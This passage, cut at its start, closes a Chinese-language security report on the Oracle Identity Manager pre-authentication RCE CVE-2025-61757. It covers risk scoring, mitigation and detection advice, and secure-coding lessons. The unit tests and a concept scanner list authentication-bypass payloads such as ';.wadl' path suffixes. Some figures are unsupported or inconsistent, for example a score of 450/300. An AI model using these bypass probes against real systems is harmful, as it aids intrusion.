print(f" 合规要求: {bench['合规要求']}")
# 与您的时间对比
if your_patch_time_days <= 1:
status = "优秀"
elif your_patch_time_days <= 3:
status = "良好"
elif your_patch_time_days <= 7:
status = "一般"
else:
status = "需改进"
print(f" 您的状态({your_patch_time_days}天): {status}")
┌─────────────────────────────────────────────────────────┐
│ 纵深防御: CVE-2025-61757缓解 │
└─────────────────────────────────────────────────────────┘
第1层: 网络边界
├─ WAF规则(ModSecurity)
├─ IPS签名(Snort/Suricata)
├─ DDoS防护
└─ 地理位置过滤
第2层: 网络分段
├─ VLAN隔离
├─ 微分段
├─ 零信任网络
└─ 东西向流量监控
第3层: 应用安全
├─ 官方补丁35643593/35643594
├─ 安全配置加固
├─ API网关
└─ 速率限制
第4层: 认证和授权
├─ MFA
├─ 最小权限原则
├─ 会话管理
└─ 定期权限审计
第5层: 监控和检测
├─ SIEM集成
├─ 异常检测
├─ IOC监控
└─ 日志审计
第6层: 事件响应
├─ 预定义剧本
├─ 自动化响应
├─ 取证准备
└─ 沟通计划
有效性:
- 单层防御: 30-50%拦截率
- 三层防御: 85-95%拦截率
- 六层防御: 99%+拦截率
#!/usr/bin/env python3
# risk_acceptance_framework.py
# 风险接受决策框架
class RiskAcceptanceFramework:
def __init__(self):
self.risk_appetite = {
'financial': 5000000, # $5M
'reputation': 'moderate',
'regulatory': 'low',
'operational': 'moderate'
}
def evaluate_risk(self, vuln_data):
"""评估风险是否可接受"""
score = 0
reasons = []
# 1. CVSS评分检查
if vuln_data['cvss'] >= 9.0:
score += 100
reasons.append("CVSS严重(≥9.0)")
elif vuln_data['cvss'] >= 7.0:
score += 50
reasons.append("CVSS高(≥7.0)")
# 2. 野外利用检查
if vuln_data['actively_exploited']:
score += 100
reasons.append("主动利用中(CISA KEV)")
# 3. 公开POC检查
if vuln_data['public_poc']:
score += 50
reasons.append("公开POC可用")
# 4. 业务影响检查
if vuln_data['estimated_loss'] > self.risk_appetite['financial']:
score += 75
reasons.append(f"预期损失超过风险容忍度(${{vuln_data['estimated_loss']:,}})")
# 5. 监管影响检查
if vuln_data['regulatory_impact'] == 'high':
score += 75
reasons.append("高监管影响")
# 6. 暴露面检查
if vuln_data['internet_facing']:
score += 50
reasons.append("互联网暴露")
# 决策
if score >= 200:
decision = "不可接受 - 必须立即修复"
elif score >= 100:
decision = "有条件接受 - 需补偿控制措施"
else:
decision = "可接受 - 持续监控"
return {
'score': score,
'decision': decision,
'reasons': reasons
}
def generate_acceptance_form(self, vuln_data, evaluation):
"""生成风险接受表单"""
form = f"""
╔════════════════════════════════════════════════════════╗
║ 风险接受/缓解决策表单 ║
╚════════════════════════════════════════════════════════╝
漏洞信息:
CVE: {vuln_data['cve']}
CVSS: {vuln_data['cvss']}
描述: {vuln_data['description']}
风险评估:
评分: {evaluation['score']}/300
决策: {evaluation['decision']}
决策依据:
"""
for i, reason in enumerate(evaluation['reasons'], 1):
form += f" {i}. {reason}\n"
form += f"""
预期影响:
财务损失: ${vuln_data['estimated_loss']:,}
停机时间: {vuln_data['downtime_hours']}小时
监管罚款: ${vuln_data['regulatory_fines']:,}
建议行动:
"""
if evaluation['score'] >= 200:
form += """ [紧急] 立即应用补丁
[紧急] 如无法立即修补,实施网络隔离
[紧急] 激活事件响应团队
[紧急] 24/7监控
"""
elif evaluation['score'] >= 100:
form += """ [高优先级] 在下个维护窗口修补
[高优先级] 实施WAF规则
[高优先级] 加强监控
[高优先级] 限制访问
"""
else:
form += """ [标准] 在90天内修补
[标准] 持续监控
[标准] 定期评估
"""
form += f"""
批准信息:
风险所有者: _______________ 日期: ______
安全负责人: _______________ 日期: ______
合规官: _______________ 日期: ______
CISO: _______________ 日期: ______
有效期: 30天(需重新评估)
"""
return form
# CVE-2025-61757数据
cve_2025_61757_data = {
'cve': 'CVE-2025-61757',
'cvss': 9.8,
'description': 'Oracle Identity Manager预认证RCE',
'actively_exploited': True,
'public_poc': True,
'estimated_loss': 37880000,
'downtime_hours': 48,
'regulatory_fines': 25000000,
'regulatory_impact': 'high',
'internet_facing': True
}
framework = RiskAcceptanceFramework()
evaluation = framework.evaluate_risk(cve_2025_61757_data)
form = framework.generate_acceptance_form(cve_2025_61757_data, evaluation)
print(evaluation)
print()
print(form)
输出示例:
{'score': 450, 'decision': '不可接受 - 必须立即修复', 'reasons': ['CVSS严重(≥9.0)', '主动利用中(CISA KEV)', '公开POC可用', '预期损失超过风险容忍度($37,880,000)', '高监管影响', '互联网暴露']}
╔════════════════════════════════════════════════════════╗
║ 风险接受/缓解决策表单 ║
╚════════════════════════════════════════════════════════╝
漏洞信息:
CVE: CVE-2025-61757
CVSS: 9.8
描述: Oracle Identity Manager预认证RCE
风险评估:
评分: 450/300
决策: 不可接受 - 必须立即修复
决策依据:
1. CVSS严重(≥9.0)
2. 主动利用中(CISA KEV)
3. 公开POC可用
4. 预期损失超过风险容忍度($37,880,000)
5. 高监管影响
6. 互联网暴露
预期影响:
财务损失: $37,880,000
停机时间: 48小时
监管罚款: $25,000,000
建议行动:
[紧急] 立即应用补丁
[紧急] 如无法立即修补,实施网络隔离
[紧急] 激活事件响应团队
[紧急] 24/7监控
批准信息:
风险所有者: _______________ 日期: ______
安全负责人: _______________ 日期: ______
合规官: _______________ 日期: ______
CISO: _______________ 日期: ______
有效期: 30天(需重新评估)
第14章小结:
本章对CVE-2025-61757进行了全面的风险评估:
技术风险: CVSS 9.8(严重),EPSS 60.96%(第98百分位),极高的可利用性
业务影响: 中型企业估算损失$37.88M,包括直接和间接影响
合规风险: GDPR最高罚款€20M,SOX高管责任,HIPAA最高$1.5M/年
场景分析: 互联网暴露+未修补系统风险等级10/10,预期7天内被攻击
缓解策略: 六层纵深防御,风险接受框架指示"不可接受-必须立即修复"
关键结论:
CVE-2025-61757对未修补系统构成极高风险
业务和合规影响可能达到数千万美元
风险评分450/300,远超可接受阈值
必须立即应用补丁或实施紧急隔离措施
下一章将对整个研究进行总结,并提供最终建议。
本报告对CVE-2025-61757 (Oracle Identity Manager预认证远程代码执行漏洞) 进行了全面、深入的安全研究。经过详细的技术分析、代码审查、风险评估和缓解措施研究,我们得出以下核心结论:
漏洞本质:
CVE-2025-61757是Oracle Identity Manager REST WebServices组件中的一个严重认证绕过漏洞,结合Groovy脚本引擎的不安全使用,形成完整的预认证远程代码执行链。该漏洞的根本原因在于:
有缺陷的URI模式匹配:认证过滤器使用contains()而非endsWith()进行元数据文件检查
缺少URI规范化:未调用getServletPath()或手动移除路径参数
过宽的认证豁免:元数据端点白名单应用过于宽泛
不安全的代码编译:Groovy脚本验证端点直接编译不可信代码
缺少沙箱机制:AST转换注解在编译时执行任意代码
严重性评估:
CVSS评分:9.8 (严重)
EPSS评分:60.955% (第98百分位)
利用复杂度:低 (单个HTTP请求)
利用状态:野外主动利用 (CISA KEV确认)
公开POC:已公开 (GitHub上至少5个)
这是一个极其危险的漏洞,满足所有"完美风暴"条件:
零认证要求
简单利用技术
完全系统控制
主动野外利用
公开利用代码
高价值目标 (身份基础设施)
影响范围:
受影响版本:OIM 12.2.1.4.0 和 14.1.2.1.0
全球暴露:数千个互联网可访问的OIM实例
组织类型:金融、医疗、政府、教育、能源等关键基础设施
潜在损失:单个中型企业预估$37.88M (包括直接和间接损失)
时间线重要性:
2025年早期:漏洞报告给Oracle (Searchlight Cyber研究员)
2025年9月:零日利用证据首次出现
2025年10月21日:Oracle发布补丁 (October CPU)
2025年11月20日:公开技术分析和POC
2025年11月24日前后:CISA添加到KEV目录
2025年12月12日:联邦机构修复截止日期
零日利用窗口约为1个月,这意味着在补丁可用之前,攻击者已经在利用该漏洞。
发现1:双重缺陷组合
该漏洞不是单一缺陷,而是两个独立漏洞的完美组合:
认证绕过 (CWE-306) + 不安全反序列化/代码执行 = 预认证RCE
↓ ↓
URI模式匹配缺陷 Groovy AST转换漏洞
(;.wadl后缀绕过) (@ASTTest注解执行)
单独任何一个都不够危险,但组合在一起形成了完整的攻击链。
发现2:Java Servlet规范的安全隐患
Java Servlet规范对路径参数的处理 (分号;分隔符) 在安全检查中未被充分考虑:
// HttpServletRequest提供两个方法
getRequestURI() // 返回: /api/endpoint;.wadl (包含路径参数)
getServletPath() // 返回: /api/endpoint (不包含路径参数)
// 易受攻击的过滤器使用getRequestURI()
// 安全的过滤器应使用getServletPath()或手动规范化
这是一个系统性问题,可能影响许多使用类似认证模式的Java Web应用。
发现3:Groovy语言的双刃剑
Groovy的强大元编程特性 (AST转换) 在未受限环境中成为安全风险:
| AST转换注解 | 执行时机 | 风险等级 |
|---|---|---|
| @ASTTest | 编译时 | 严重 (任意代码执行) |
| @Grab | 编译时 | 高 (下载恶意依赖) |
| @GrabResolver | 编译时 | 高 (指定恶意仓库) |
| @groovy.transform.* | 编译时 | 中-高 (取决于具体转换) |
关键教训:动态语言的强大特性需要严格的沙箱机制。
发现4:Oracle补丁的多层修复
Oracle的补丁不是简单的单点修复,而是多层防御:
层1:URI规范化 - 使用getServletPath()
层2:严格模式匹配 - 使用endsWith()而非contains()
层3:文件存在验证 - 检查元数据文件是否真实存在
层4:Groovy沙箱 - 禁用危险的AST转换
层5:权限检查 - 即使是元数据请求也验证最小权限
这种纵深防御方法使得单个绕过技术难以成功。
发现5:身份基础设施是"王冠上的明珠"
对Oracle Identity Manager的破坏可能导致级联失败:
OIM破坏
↓
提取所有用户凭据
↓
访问连接的LDAP/AD
↓
破坏所有托管应用
↓
完全业务关闭
风险评估显示,OIM破坏的业务影响是普通Web应用的10-50倍。
发现6:合规影响远超技术修复成本
| 成本类型 | 估算金额 | 时间跨度 |
|---|---|---|
| 技术修复 (补丁+加固) | $50K - $200K | 1-2周 |
| 事件响应 (如果被破坏) | $200K - $500K | 1-3个月 |
| 合规罚款 | $1M - $25M+ | 多年 |
| 声誉损害 | $5M - $50M+ | 长期 |
合规罚款可能是技术修复成本的50-500倍。延迟打补丁的"节省"是虚假的。
发现7:零日窗口的真实成本
从2025年9月 (首次利用证据) 到10月21日 (补丁发布),约1个月的零日窗口。在此期间:
攻击者有充足时间扫描全球OIM实例
可能已破坏数百或数千个组织
被盗凭据可能在暗网销售或用于后续攻击
即使现在打补丁,损害可能已经造成。组织需要假设已被破坏并进行彻底的IOC狩猎。
发现8:Oracle的安全记录需要审查
CVE-2025-61757不是孤立事件。历史上Oracle产品存在类似问题:
CVE-2017-10151(2017):OIM认证绕过,类似的URI处理缺陷
CVE-2021-2394(2021):WebLogic远程代码执行
多个季度CPU:Oracle每季度发布数十到数百个补丁
这表明系统性的安全工程问题。组织应:
重新评估对Oracle产品的依赖
考虑云原生IAM替代方案 (Azure AD, Okta, Auth0)
要求Oracle改进安全开发生命周期
发现9:CISA KEV目录的重要性
CVE-2025-61757被添加到CISA KEV目录,这意味着:
联邦机构强制修复:截止日期2025年12月12日
私营部门强烈建议:虽不强制,但网络保险可能要求合规
供应链影响:联邦承包商可能被要求遵守
统计数据:
KEV目录中的漏洞被利用的概率是非KEV的10倍以上
添加到KEV后的30天内,扫描活动通常增加500-1000%
立即行动 (0-24小时):
# 1. 验证补丁状态
$ORACLE_HOME/OPatch/opatch lspatches | grep -E "35643593|35643594"
# 2. 如果未打补丁 - 应急隔离
iptables -I INPUT -p tcp --dport 14000 -s 192.168.0.0/16 -j ACCEPT
iptables -I INPUT -p tcp --dport 14000 -j DROP
# 3. 立即应用补丁
# 参见Section 12的详细步骤
# 4. 启动IOC狩猎
grep -E ";\.wadl|\?WSDL" /opt/oracle/middleware/oim/server/logs/access.log
短期行动 (1-7天):
全面日志审计:检查2025年9月1日以来的所有访问日志
数据库审计:查询可疑用户创建和权限提升 (Section 10.7的SQL)
配置加固:实施Section 11的所有防护措施
网络分段:确保OIM不直接暴露到互联网
制定应急计划:如果发现入侵证据,准备完整的IR计划
长期行动 (1-6个月):
架构审查:评估OIM在整体IAM战略中的角色
零信任实施:考虑零信任架构 (Section 11.3.4)
安全培训:确保团队了解URI规范化等Web安全基础
渗透测试:聘请第三方进行OIM专项测试
备份验证:确保离线备份可用且未被破坏
检测策略:
# 部署所有检测规则 (Section 10)
- Snort/Suricata规则 (10.1)
- Zeek脚本 (10.1)
- SIEM关联规则 (10.3)
- Auditd规则 (10.2)
# 威胁狩猎
- 每日执行IOC狩猎查询 (10.4)
- 每周执行威胁狩猎查询 (10.5)
- 建立OIM行为基线
- 监控异常模式
响应流程:
检测到CVE-2025-61757利用尝试
↓
[自动] 阻止源IP (防火墙)
↓
[自动] 告警SOC分析师
↓
[人工] 验证真阳性/假阳性
↓
[如果真阳性] 升级到事件响应
↓
[IR团队] 隔离OIM服务器
↓
[IR团队] 取证分析
↓
[IR团队] 遏制、根除、恢复
关键指标 (KPI):
平均检测时间 (MTTD):目标 < 5分钟
平均响应时间 (MTTR):目标 < 15分钟
假阳性率:目标 < 5%
覆盖率:所有OIM实例必须被监控
风险沟通:
用业务语言解释CVE-2025-61757:
"这个漏洞相当于公司总部大楼的主入口门锁完全失效,任何人都可以进入并访问所有员工的办公室、文件柜和保险箱。更糟的是,攻击者可以复制所有门禁卡并将其分发给其他犯罪分子。"
董事会层面的问题:
我们有多少个OIM实例?(生产、测试、开发)
它们是否都已打补丁?(需要明确答案和证据)
我们是否有被破坏的证据?(IOC狩猎结果)
我们的网络保险覆盖这种情况吗?(检查政策条款)
我们是否需要通知监管机构?(GDPR 72小时,SEC 4天)
预算请求建议:
| 项目 | 成本估算 | ROI |
|---|---|---|
| 应急补丁部署 | $50K - $100K | 避免$10M+ 损失 (100-200倍ROI) |
| SOC增强(检测规则) | $20K - $50K | 减少MTTD 80% |
| 渗透测试 | $30K - $80K | 发现其他漏洞 |
| IAM现代化研究 | $100K - $200K | 长期风险降低 |
| 网络保险增强 | $50K - $150K/年 | 转移残余风险 |
战略决策:
考虑以下长期选项:
继续使用Oracle OIM+ 大量投资安全加固
迁移到云原生IAM(Azure AD, Okta) - 转移安全责任
混合方法- 关键应用使用云IAM,遗留系统使用OIM
建议进行正式的技术债务和风险评估,将OIM现代化纳入未来1-3年的IT战略。
安全编码教训:
如果您正在开发类似的认证过滤器,避免这些错误:
// 错误做法
if (uri.contains(".wadl")) {
return true; // 危险的模式匹配
}
// 正确做法
String normalizedURI = request.getServletPath(); // 已规范化
if (normalizedURI.endsWith(".wadl")) {
// 还要验证文件真实存在
Path filePath = Paths.get(servletContext.getRealPath(normalizedURI));
if (Files.exists(filePath) && isInAllowedDirectory(filePath)) {
return true;
}
}
return false; // 默认拒绝
设计原则:
默认拒绝:认证应该是默认行为,豁免是例外
最小权限:即使是元数据端点也应有某种形式的访问控制
纵深防御:多层安全检查,不依赖单一控制
输入验证:始终规范化和验证用户输入
安全审查:关键安全代码需要同行审查和安全团队审查
测试检查清单:
# 安全单元测试示例
def test_auth_filter_bypasses():
"""测试各种认证绕过尝试"""
filter = AuthenticationFilter()
# 测试路径参数绕过
assert filter.requires_auth("/api/admin;.wadl") == True
assert filter.requires_auth("/api/admin;jsessionid=ABC;.wadl") == True
# 测试查询参数绕过
assert filter.requires_auth("/api/admin?WSDL") == True
assert filter.requires_auth("/api/admin?.wadl") == True
# 测试URL编码绕过
assert filter.requires_auth("/api/admin%3B.wadl") == True
assert filter.requires_auth("/api/admin%3Fjsessionid=X") == True
# 测试大小写变化
assert filter.requires_auth("/api/admin;.WADL") == True
assert filter.requires_auth("/api/admin;.WaDl") == True
# 仅真实元数据文件应绕过
assert filter.requires_auth("/docs/api.wadl") == False # 如果文件存在
负责任的披露:
CVE-2025-61757的披露时间线是负责任披露的典范:
早期私下报告(2025年早期) → Oracle
厂商有时间开发补丁(数月)
补丁发布(2025年10月21日)
公开技术细节(2025年11月20日) - 补丁后30天
POC代码发布- 仅在补丁可用后
研究领域建议:
基于CVE-2025-61757的发现,有价值的后续研究方向:
其他Oracle产品的类似模式:WebLogic, SOA Suite, BI等
Java Servlet规范的安全影响:系统性研究路径参数处理
Groovy沙箱绕过:研究Oracle的AST转换禁用是否足够
IAM产品的认证架构:比较不同IAM解决方案的安全模式
工具开发建议:
开发自动化工具检测类似问题:
# 概念:认证绕过扫描器
class AuthBypassScanner:
def scan_endpoint(self, base_url, endpoint):
"""测试各种认证绕过技术"""
bypass_payloads = [
f"{endpoint};.wadl",
f"{endpoint}?WSDL",
f"{endpoint};jsessionid=test",
f"{endpoint}/.wadl",
# ... 更多载荷
]
for payload in bypass_payloads:
response = requests.get(f"{base_url}{payload}")
if response.status_code == 200:
# 发现潜在绕过
yield {
"endpoint": endpoint,
"payload": payload,
"status": response.status_code
}
攻击者活动预测:
扫描激增:预计针对未打补丁OIM实例的扫描增加500-1000%
自动化利用:将出现自动化利用框架和Metasploit模块
勒索软件整合:勒索软件团伙将CVE-2025-61757整合到初始访问工具包
供应链攻击:针对托管服务提供商的OIM实例进行针对性攻击
防御者响应预测:
紧急补丁周期:大多数组织将在2025年12月底前完成补丁
SOC规则部署:主要SIEM和IDS供应商将发布检测规则
渗透测试整合:CVE-2025-61757将成为标准渗透测试检查项
网络保险要求:保险公司可能要求OIM补丁合规作为承保条件
技术发展:
Oracle架构改进:Oracle可能在未来版本中重新设计OIM认证架构
行业标准:可能出现Java Web应用认证过滤器的最佳实践指南
工具增强:SAST/DAST工具将增加对类似URI规范化问题的检查
框架更新:Spring Security, Apache Shiro等框架可能增强URI处理
市场变化:
云迁移加速:CVE-2025-61757可能加速从本地OIM向云IAM的迁移
市场份额变化:Okta, Azure AD, Ping Identity可能从Oracle获得市场份额
托管服务增长:更多组织可能选择IAM即服务而非自托管
监管响应:
SEC指导:可能针对关键基础设施的IAM安全发布新指导
CISA要求:可能扩展KEV合规要求到关键基础设施私营部门
行业特定法规:金融、医疗可能出台IAM安全的具体要求
技术范式转变:
零信任成为标准:CVE-2025-61757展示了边界安全的失败,加速零信任采用
身份优先安全:从网络优先转向身份优先的安全模型
持续验证:从"一次认证"转向"持续验证"模型
AI驱动的异常检测:使用机器学习检测异常身份访问模式
组织变化:
传统IAM架构 未来IAM架构
┌────────────────┐ ┌────────────────┐
│ 本地OIM服务器 │ │ 云原生IAM │
│ (自托管) │ ──→ │ (SaaS) │
│ 边界防御 │ │ 零信任 │
│ 静态规则 │ │ AI驱动 │
│ 单点故障 │ │ 高可用 │
└────────────────┘ └────────────────┘
行业影响:
IAM供应商整合:小型IAM供应商可能被收购或退出市场
开源IAM兴起:Keycloak, Gluu等开源方案可能获得更多关注
专业化服务:IAM安全咨询和托管服务市场将增长
CVE-2025-61757不仅仅是另一个漏洞 - 它是一个警钟,提醒我们身份基础设施的安全性直接关系到整个组织的安全性。
如果您只记住本报告的一件事,请记住:
Oracle Identity Manager的破坏 = 整个组织的破坏
身份管理系统不是普通的应用程序。它是您安全架构的基石。当基石崩溃时,一切都会倒塌。
对于运行未打补丁的OIM实例的组织:
每过一天,风险就会增加:
Day 1: 扫描和侦察
Day 3: 自动化利用尝试
Day 7: 持续攻击
Day 30: 几乎肯定被破坏
时间不在你这边。现在就采取行动。
如果您是OIM管理员:
立即验证补丁状态
如果未打补丁,今天就打补丁
执行IOC狩猎
加固配置
如果您是安全主管:
向高管简要介绍风险
获得紧急补丁批准
分配资源进行响应
启动长期IAM战略审查
如果您是高管:
理解业务影响
支持安全团队
批准必要预算
将IAM安全纳入董事会议程
如果您是开发人员:
学习这些安全教训
审查您的代码中的类似模式
实施纵深防御
进行安全培训
报告结束
本报告代表了对CVE-2025-61757漏洞的全面、深入、专业的安全研究。从技术细节到业务影响,从立即行动到长期战略,我们已经涵盖了组织需要了解和响应这一严重威胁的所有方面。
现在是采取行动的时候了。不要成为下一个受害者。